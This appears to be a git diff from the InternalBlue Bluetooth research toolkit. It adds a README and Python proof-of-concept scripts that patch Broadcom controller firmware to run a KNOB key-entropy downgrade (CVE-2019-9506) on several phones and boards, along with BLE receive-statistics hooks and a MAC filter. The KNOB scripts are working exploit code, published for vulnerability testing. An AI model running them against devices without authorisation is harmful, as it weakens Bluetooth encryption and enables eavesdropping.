KNOB Attack Test (CVE-2019-9506)
--------------------------------
We provide a modified version of the KNOB attack test, originally provided [here](https://github.com/francozappa/knob).
This script tests if the other device will accept a reduced key entropy of 1 byte instead of the optimal 16 byte.
Available for the [Raspberry Pi 3](rpi3/KNOB_PoC.py), [Raspberry Pi 3+/4](rpi3p_rpi4/KNOB_PoC.py),
[Nexus 5](nexus5/KNOB_PoC.py), [Nexus 6P](nexus6p/KNOB_PoC.py), [CYW20735 evaluation board](eval_cyw20735/KNOB_PoC.py),
and [Samsung Galaxy S8](s8/KNOB_PoC.py).
Examples for the Raspberry Pi 3:
* [raspi3_rxdn](raspi3_rxdn.py) prints the first bytes of the LE connection struct within the `_connTaskRxDone` callback.
For debugging purposes, warnings are shown for packet failures. The full logging can be enabled via `log_level debug` on the
*InternalBlue* command line. It contains the current channel, RSSI, and event number for each packet. To blacklist channels
from hopping, use `sendhcicmd 0x2014 ff00000000` or similar. Use `wireshark` or `btmon`
to see the channel blacklisting live within the connection struct.
Examples for the Samsung Galaxy S8:
* [s8_rxdn](s8_rxdn.py) same as for Raspberry Pi 3. Call *InternalBlue* with `internalblue -s` for serial setup.
Invalid Curve Attack Test (CVE-2018-5383)
-----------------------------------------
This is a test which tires to set the y-coordinate during ECDH key exchange to zero. If the devie under test accepts the pairing
(50% probability), it is vulnerable. This is not an MITM implementation, it only tests, if the other device would be vulnerable in practice.
Available for the [Nexus 5](nexus5/CVE_2018_5383_Invalid_Curve_Attack_PoC.py).
LMP MAC Address Filter
----------------------
Only accept traffic from whitelisted MAC addresses and send `LMP_not_accepted` otherwise.
Available for the [Nexus 5](nexus5/LMP_MAC_Address_Filter.py).
NiNo Attack Test
----------------
Prior to pairing, an MITM can set the IO capabilities to no input, no output. This will skip the numeric comparison.
If the operating system displays a yes/no question during pairing, a warning, or similar, is up to the concrete implementation.
This script tests how the other device will behave in a pairing that does not use numeric comparison, but is no
active MITM attack.
Available for the [Nexus 5](nexus5/NiNo_PoC.py).
Measurement of BLE Receive Statistics
-------------------------------------
This demo provides a hook within the callback for BLE packet reception. Upon packet reception, no matter if the
packet is a keep-alive null packet or not, it will be processed by this function. During this state, further
metadata is available, such as the RSSI (Received Signal Strength Indicator), the packet's channel, and the
currently active channel map.
Available for the [Nexus 5](nexus5/BLE_Reception_PoC.py) and [Samsung Galaxy S8](s8/BLE_Reception_PoC.py) including a callback script,
as well as for the [CYW20735 Evaluation board](eval_cyw20735/BLE_Reception_PoC.py), [Raspberry Pi 3](rpi3/BLE_Reception_PoC.py)
and [3+/4](rpi3p_rpi4/BLE_Reception_PoC.py) currently without callback script.
We also ported it for the iPhone 6, however, the current *InternalBlue* iOS implementation cannot be run in parallel
with the full iOS stack, thus it is not pushed online here.
+46
View File
@@ -0,0 +1,46 @@
#!/usr/bin/env python3
# Jiska Classen, Secure Mobile Networking Lab
from internalblue import Address
from internalblue.hcicore import HCICore
from internalblue.utils.pwnlib_wrapper import log, asm
"""
This is a standalone PoC for the KNOB attack on a CYW20735 evaluation board.
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
For details see https://github.com/francozappa/knob
This PoC is much shorter since it only modifies global variables for key entropy.
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x7402A) # connection struct key entropy
internalblue.patchRom(Address(0x7402A), patch)
# modify global variable for own setting
internalblue.writeMem(0x280F13, b'\x01') # global key entropy
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n")
+176
View File
@@ -0,0 +1,176 @@
#!/usr/bin/env python3
# Jiska Classen
# Get receive statistics on a Nexus 5 for BLE connection events
from builtins import range
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
from internalblue.utils.pwnlib_wrapper import log, asm, u8, u16
internalblue = ADBCore(serial=False)
device_list = internalblue.device_list()
if len(device_list) == 0:
log.warn("No HCI devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device
"""
# _connTaskRxDone has a Patchram position, Nexus 5 patches look so worse that I guess
# they never planned to support BLE. Even callbacks are defined in Patchram.
# You need to adjust the RX_DONE_HOOK_ADDRESS in the beginning.
"""
RX_DONE_HOOK_ADDRESS = 0x224DEA
HOOKS_LOCATION = 0xd7500
ASM_HOOKS = """
// restore first 4 bytes of _connTaskRxDone
push {r4-r8,lr}
mov r4, r0
// fix registers for our own routine
push {r1-r7, lr}
mov r7, r0
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0x7AFC // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239);
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RXDN"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x4e445852 // RXDN
str r1, [r0]
add r0, 4 // advance buffer by 4
// copy 239 bytes of le_conn to buffer
mov r2, #238
mov r1, r7 // le_conn[0]
//add r1, 0x100 //TODO use this to access the connection struct with different offset
bl 0x46FE6 // __rt_memcpy
// for debugging purposes, we overwrite the first byte
// (which is the connTaskCallback anyway) with RSSI info
mov r2, #1 // 1 rssi byte
add.w r1, r7, #0x12c // le_conn[0x12c] is position of RSSI in Nexus 5
mov r0, r4
add r0, 6
bl 0x46FE6 // __rt_memcpy
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x398c1 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
bl 0x3FA36 // osapi_blockPoolFree
// undo registers for our own routine
mov r0, r7
pop {r1-r7, lr}
// branch back to _connTaskRxDone + 4
b 0x%x
""" % (RX_DONE_HOOK_ADDRESS+4)
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)
log.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
log.critical("Installing patch for _connTaskRxDone failed!")
exit(-1)
# RXDN statistics callback variables
internalblue.last_nesn_sn = None
internalblue.last_success_event = None
def lereceiveStatusCallback(record):
"""
RXDN Callback Function
Depends on the raspi3_rxdn.py or eval_rxdn.py script,
which patches the _connTaskRxDone() function and copies
info from the LE connection struct to HCI.
"""
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == "RXDN":
data = hcipkt.data[4:]
# Raspi 3 gets errors
if len(data) < 239:
return
# !!! Nexus 5 has really outdated struct...
packet_curr_nesn_sn = u8(data[0xa0])
packet_channel_map = data[0x4c:0x4c+38]
packet_channel = u8(data[0x7b])
packet_event_ctr = u16(data[0x86:0x88])
packet_rssi = u8(data[0])
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
log.info(" ^----------------------------- ERROR --------------------------------")
# currently only supported by eval board: check if we also went into the process payload routine,
# which probably corresponds to a correct CRC
# if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
# log.debug(" ^----------------------------- MISSED -------------------------------")
# TODO example for setting the channel map
# timeout needs to be zero, because we are already in an event reception routine!
# self.sendHciCommand(0x2014, '\x00\x00\xff\x00\x00', timeout=0)
internalblue.last_nesn_sn = packet_curr_nesn_sn
# draw channel with rssi color
color = '\033[92m' # green
if 0xc8 > packet_rssi >= 0xc0:
color = '\033[93m' # yellow
elif packet_rssi < 0xc0:
color = '\033[91m' # red
channels_total = u8(packet_channel_map[37])
channel_map = 0x0000000000
if channels_total <= 37: # raspi 3 messes up with this during blacklisting
for channel in range(0, channels_total):
channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel])
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
color, ' ' * packet_channel))
log.info("--------------------")
log.info("Entering InternalBlue CLI to display statistics.")
# add RXDN callback
internalblue.registerHciCallback(lereceiveStatusCallback)
# enter CLI
cli.commandLoop(internalblue)
@@ -1,10 +1,9 @@
#!/usr/bin/env python2
# Dennis Mantz
from pwn import *
from internalblue import Address
from internalblue.adbcore import ADBCore
from internalblue.utils.pwnlib_wrapper import log, asm
#internalblue = core.InternalBlue()
internalblue = ADBCore()
@@ -15,9 +14,9 @@ if len(device_list) == 0:
internalblue.interface = device_list[0][1] # just use the first device
PK_RECV_HOOK_ADDRESS = 0x2FED8
PK_SEND_HOOK_ADDRESS = 0x030098
GEN_PRIV_KEY_ADDRESS = 0x48eba
PK_RECV_HOOK_ADDRESS = Address(0x2FED8)
PK_SEND_HOOK_ADDRESS = Address(0x030098)
GEN_PRIV_KEY_ADDRESS = Address(0x48eba)
HOOKS_LOCATION = 0xd7800
ASM_HOOKS = """
b pk_recv_hook
+98
View File
@@ -0,0 +1,98 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
from internalblue import Address
from internalblue.adbcore import ADBCore
import internalblue.cli as cli
import internalblue.cmds as cmd
import internalblue.hci as hci
from internalblue.cmds import auto_int
from internalblue.utils.pwnlib_wrapper import log, asm, u8, p16, u16
"""
This is a standalone PoC for the KNOB attack on a Nexus 5.
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
For details see https://github.com/francozappa/knob
This PoC is much shorter since it only modifies global variables for key entropy.
"""
internalblue = ADBCore(serial=False) # without custom bluetooth.default.so, change to True
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x5AED0) # connection struct key entropy
internalblue.patchRom(Address(0x5AED0), patch)
# modify global variable for own setting
internalblue.writeMem(0x203797, b'\x01') # global key entropy
log.info("-----------------------KNOB-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
"On Android, this requires a modified bluetooth.default.so.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if u8(hcipkt.data[3]) == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6])))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli.commandLoop(internalblue)
@@ -1,10 +1,10 @@
#!/usr/bin/python2
#!/usr/bin/env python3
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue import Address
from internalblue.adbcore import ADBCore
from internalblue.utils.pwnlib_wrapper import log, asm
from binascii import unhexlify
"""
Filter connections by MAC address before entering LMP dispatcher.
Enter MAC addresses you trust into whitelist.
@@ -12,8 +12,8 @@ Enter MAC addresses you trust into whitelist.
"""
WHITELIST = ["aabbccddeeff", "133713371337", "affedeadbeef"]
WHITELIST_BYTES = ''.join(WHITELIST).decode("hex")[::-1] # change mac addr byte order
HOOK_LMP_FILTER = 0x3f3f4 # This function is in ROM
WHITELIST_BYTES = unhexlify(''.join(WHITELIST))[::-1] # change mac addr byte order
HOOK_LMP_FILTER = Address(0x3f3f4) # This function is in ROM
ASM_LOCATION_LMP_FILTER = 0x00211900 # 0xD5900
ASM_SNIPPET_LMP_FILTER = """
b lmp_dispatcher_filter
@@ -1,12 +1,12 @@
#!/usr/bin/python2
#!/usr/bin/env python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue import Address
from internalblue.adbcore import ADBCore
from internalblue.utils.pwnlib_wrapper import log, asm
"""
@@ -40,7 +40,7 @@ TODO
"""
HOOK_IO_CAP_RESP = 0x303D4 # we just change the complete simple pairing state machine
HOOK_IO_CAP_RESP = Address(0x303D4) # we just change the complete simple pairing state machine
ASM_LOCATION_IO_CAP_RESP = 0x00211800 #0xd7800
ASM_SNIPPET_IO_CAP_RESP = """
//restore original 8 bytes of instructions which we overwrite by patching a branch into it
+99
View File
@@ -0,0 +1,99 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
from internalblue.adbcore import ADBCore
import internalblue.cli as cli
import internalblue.cmds as cmd
import internalblue.hci as hci
from internalblue.cmds import auto_int
from internalblue.utils.pwnlib_wrapper import u8, p16, u16, log
"""
This is a standalone PoC for the KNOB attack on a Nexus 6P.
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
For details see https://github.com/francozappa/knob
This PoC is much shorter since it only modifies global variables for key entropy.
"""
internalblue = ADBCore(serial=False) # without custom bluetooth.default.so, change to True
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
#patch = asm("mov r2, #0x1", vma=0x4BC6E) # connection struct key entropy
#internalblue.patchRom(0x4BC6E, patch)
# this somehow crashes on the Nexus 6P, but the global variable seems to be sufficient :)
# modify global variable for own setting
internalblue.writeMem(0x204147, b'\x01') # global key entropy
log.info("-----------------------KNOB-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
"On Android, this requires a modified bluetooth.default.so.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0b\n"
"...shows the key size of handle 0x000b.\n")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if u8(hcipkt.data[3]) == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6])))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli.commandLoop(internalblue)
+4 -5
View File
@@ -1,12 +1,11 @@
#!/usr/bin/env python2
#!/usr/bin/env python3
# Jiska Classen
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
from pwn import *
from internalblue import Address
from internalblue.hcicore import HCICore
from internalblue.utils.pwnlib_wrapper import log, asm
internalblue = HCICore()
device_list = internalblue.device_list()
@@ -16,7 +15,7 @@ if len(device_list) == 0:
internalblue.interface = device_list[0][1] # just use the first device
RX_DONE_HOOK_ADDRESS = 0x35fbc # _connTaskRxDone
RX_DONE_HOOK_ADDRESS = Address(0x35fbc) # _connTaskRxDone
HOOKS_LOCATION = 0x210500
ASM_HOOKS = """
+47
View File
@@ -0,0 +1,47 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
from internalblue import Address
from internalblue.utils.pwnlib_wrapper import log, asm
from internalblue.hcicore import HCICore
"""
This is a standalone PoC for the KNOB attack on a Raspberry Pi 3.
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
For details see https://github.com/francozappa/knob
This PoC is much shorter since it only modifies global variables for key entropy.
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x689F0) # connection struct key entropy
internalblue.patchRom(Address(0x689F0), patch)
# modify global variable for own setting
internalblue.writeMem(0x204127, b'\x01') # global key entropy
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n")
+4 -5
View File
@@ -1,12 +1,11 @@
#!/usr/bin/env python2
#!/usr/bin/env python3
# Jiska Classen
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
from pwn import *
from internalblue import Address
from internalblue.hcicore import HCICore
from internalblue.utils.pwnlib_wrapper import log, asm
internalblue = HCICore()
device_list = internalblue.device_list()
@@ -16,7 +15,7 @@ if len(device_list) == 0:
internalblue.interface = device_list[0][1] # just use the first device
RX_DONE_HOOK_ADDRESS = 0x56622 # _connTaskRxDone
RX_DONE_HOOK_ADDRESS = Address(0x56622) # _connTaskRxDone
HOOKS_LOCATION = 0x210500
ASM_HOOKS = """
+46
View File
@@ -0,0 +1,46 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
from internalblue import Address
from internalblue.hcicore import HCICore
from internalblue.utils.pwnlib_wrapper import log, asm
"""
This is a standalone PoC for the KNOB attack on a Raspberry Pi 3+/4.
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
For details see https://github.com/francozappa/knob
This PoC is much shorter since it only modifies global variables for key entropy.
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x3B3D4) # connection struct key entropy
internalblue.patchRom(Address(0x3B3D4), patch)
# modify global variable for own setting
internalblue.writeMem(0x204A5F, b'\x01') # global key entropy
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n")
+178
View File
@@ -0,0 +1,178 @@
#!/usr/bin/env python3
# Jiska Classen
# Get receive statistics on a Samsung Galaxy S8 for BLE connection events
from builtins import range
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
from internalblue.utils.pwnlib_wrapper import log, asm, u8, u16
internalblue = ADBCore(serial=True)
device_list = internalblue.device_list()
if len(device_list) == 0:
log.warn("No HCI devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device
"""
# _connTaskRxDone has a Patchram position, S8 fixed almost everything in BLE, because
# they had to for Bluetooth 5 compliance.
# The base address is 0x5E324, and this will jump into the Patchram.
# You need to adjust the RX_DONE_HOOK_ADDRESS in the beginning.
"""
#RX_DONE_HOOK_ADDRESS = 0x1344D0 # on S8 with Patchlevel May 1 2019 on stock ROM
#RX_DONE_HOOK_ADDRESS = 0x134500 # on S8 with Lineage OS Nightly from August 30 2019
RX_DONE_HOOK_ADDRESS = 0x134514 # on S8 with Patchlevel September 1 2019 on stock ROM
HOOKS_LOCATION = 0x210500
ASM_HOOKS = """
// restore first 4 bytes of _connTaskRxDone
push {r4-r12,lr}
mov r4, r0
// fix registers for our own routine
push {r1-r7, lr}
mov r7, r0
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0xE628 // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239);
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RXDN"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x4e445852 // RXDN
str r1, [r0]
add r0, 4 // advance buffer by 4
// copy 239 bytes of le_conn to buffer
mov r2, #238
mov r1, r7 // le_conn[0]
bl 0x857B4 // __rt_memcpy
// for debugging purposes, we overwrite the first byte
// (which is the connTaskCallback anyway) with RSSI info
mov r2, #1 // 1 rssi byte
add.w r1, r7, #0x1ca // le_conn[0x1ca] is position of rssi
mov r0, r4
add r0, 14
bl 0x857B4 // __rt_memcpy
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0xE418 // bthci_event_AttemptToEnqueueEventToTransport
// undo registers for our own routine
mov r0, r7
pop {r1-r7, lr}
// branch back to _connTaskRxDone + 4
//b 0x1344D4 // on S8 with Patchlevel May 1 2019 on stock ROM
//b 0x134504 // August 30 Nightly Build
b 0x%x
""" % (RX_DONE_HOOK_ADDRESS+4)
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)
log.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
log.critical("Installing patch for _connTaskRxDone failed!")
exit(-1)
# RXDN statistics callback variables
internalblue.last_nesn_sn = None
internalblue.last_success_event = None
def lereceiveStatusCallback(record):
"""
RXDN Callback Function
Depends on the raspi3_rxdn.py or eval_rxdn.py script,
which patches the _connTaskRxDone() function and copies
info from the LE connection struct to HCI.
"""
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == "RXDN":
data = hcipkt.data[4:]
# Raspi 3 gets errors
if len(data) < 239:
return
#if raspi or s8:
packet_curr_nesn_sn = u8(data[0xa0])
#elif eval:
# packet_curr_nesn_sn = u8(data[0xa4])
packet_channel_map = data[0x54:0x7b]
packet_channel = u8(data[0x83])
packet_event_ctr = u16(data[0x8e:0x90])
packet_rssi = u8(data[0])
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
log.info(" ^----------------------------- ERROR --------------------------------")
# currently only supported by eval board: check if we also went into the process payload routine,
# which probably corresponds to a correct CRC
# if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
# log.debug(" ^----------------------------- MISSED -------------------------------")
# TODO example for setting the channel map
# timeout needs to be zero, because we are already in an event reception routine!
# self.sendHciCommand(0x2014, '\x00\x00\xff\x00\x00', timeout=0)
internalblue.last_nesn_sn = packet_curr_nesn_sn
# draw channel with rssi color
color = '\033[92m' # green
if 0xc8 > packet_rssi >= 0xc0:
color = '\033[93m' # yellow
elif packet_rssi < 0xc0:
color = '\033[91m' # red
channels_total = u8(packet_channel_map[37])
channel_map = 0x0000000000
if channels_total <= 37: # raspi 3 messes up with this during blacklisting
for channel in range(0, channels_total):
channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel])
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
color, ' ' * packet_channel))
log.info("--------------------")
log.info("Entering InternalBlue CLI to display statistics.")
# add RXDN callback
internalblue.registerHciCallback(lereceiveStatusCallback)
# enter CLI
cli.commandLoop(internalblue)
+45
View File
@@ -0,0 +1,45 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
from internalblue import Address
from internalblue.adbcore import ADBCore
from internalblue.utils.pwnlib_wrapper import log, asm
"""
This is a standalone PoC for the KNOB attack on a Samsung Galaxy S8.
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
For details see https://github.com/francozappa/knob
This PoC is much shorter since it only modifies global variables for key entropy.
"""
internalblue = ADBCore(serial=True)
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x530F6) # connection struct key entropy
internalblue.patchRom(Address(0x530F6), patch)
# modify global variable for own setting
internalblue.writeMem(0x255E8F, b'\x01') # global key entropy
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Currently, there is no LMP monitoring option on Android 8.\n")
-90
View File
@@ -1,90 +0,0 @@
#!/usr/bin/env python2
# Jiska Classen
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
from pwn import *
from internalblue.adbcore import ADBCore
internalblue = ADBCore(serial=True)
device_list = internalblue.device_list()
if len(device_list) == 0:
log.warn("No HCI devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device
RX_DONE_HOOK_ADDRESS = 0x1344D0 # _connTaskRxDone !!! has a Patchram position
HOOKS_LOCATION = 0x210500
ASM_HOOKS = """
// restore first 4 bytes of _connTaskRxDone
push {r4-r12,lr}
mov r4, r0
// fix registers for our own routine
push {r1-r7, lr}
mov r7, r0
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0xE628 // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239);
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RXDN"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x4e445852 // RXDN
str r1, [r0]
add r0, 4 // advance buffer by 4
// copy 239 bytes of le_conn to buffer
mov r2, #238
mov r1, r7 // le_conn[0]
bl 0x857B4 // __rt_memcpy
// for debugging purposes, we overwrite the first byte
// (which is the connTaskCallback anyway) with RSSI info
mov r2, #1 // 1 rssi byte
add.w r1, r7, #0x1ca // le_conn[0x1ca] is position of rssi
mov r0, r4
add r0, 14
bl 0x857B4 // __rt_memcpy
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0xE418 // bthci_event_AttemptToEnqueueEventToTransport
// undo registers for our own routine
mov r0, r7
pop {r1-r7, lr}
// branch back to _connTaskRxDone + 4
b 0x1344D4
"""
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)
log.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
log.critical("Installing patch for _connTaskRxDone failed!")
exit(-1)
log.info("--------------------")
log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
+52
View File
@@ -1 +1,53 @@
from future import standard_library
standard_library.install_aliases()
import datetime
from queue import Queue
from typing import (
List,
Optional,
Any,
TYPE_CHECKING,
Tuple,
Union,
NewType,
Callable,
Dict,
)
Address = NewType("Address", int)
ConnectionNumber = NewType("ConnectionNumber", int)
ConnectionIndex = NewType("ConnectionIndex", int)
BluetoothAddress = NewType("BluetoothAddress", bytes)
ConnectionDict = NewType("ConnectionDict", Dict[str, Any])
HeapInformation = NewType("HeapInformation", Dict[str, Any])
QueueInformation = NewType("QueueInformation", Dict[str, Any])
try:
if TYPE_CHECKING:
from internalblue.hci import HCI
from internalblue.core import InternalBlue
Record = Tuple[HCI, int, int, int, Any, datetime.datetime]
FilterFunction = Callable[[Record], bool]
Opcode = NewType("Opcode", int)
HCI_CMD = NewType("HCI_CMD", int)
Task = Tuple[HCI_CMD, bytes, Queue, Callable[[Record], bool]]
Device = NewType("Device", Dict[str, Any])
"""{"dev_id": dev_id,
"dev_name": dev_name,
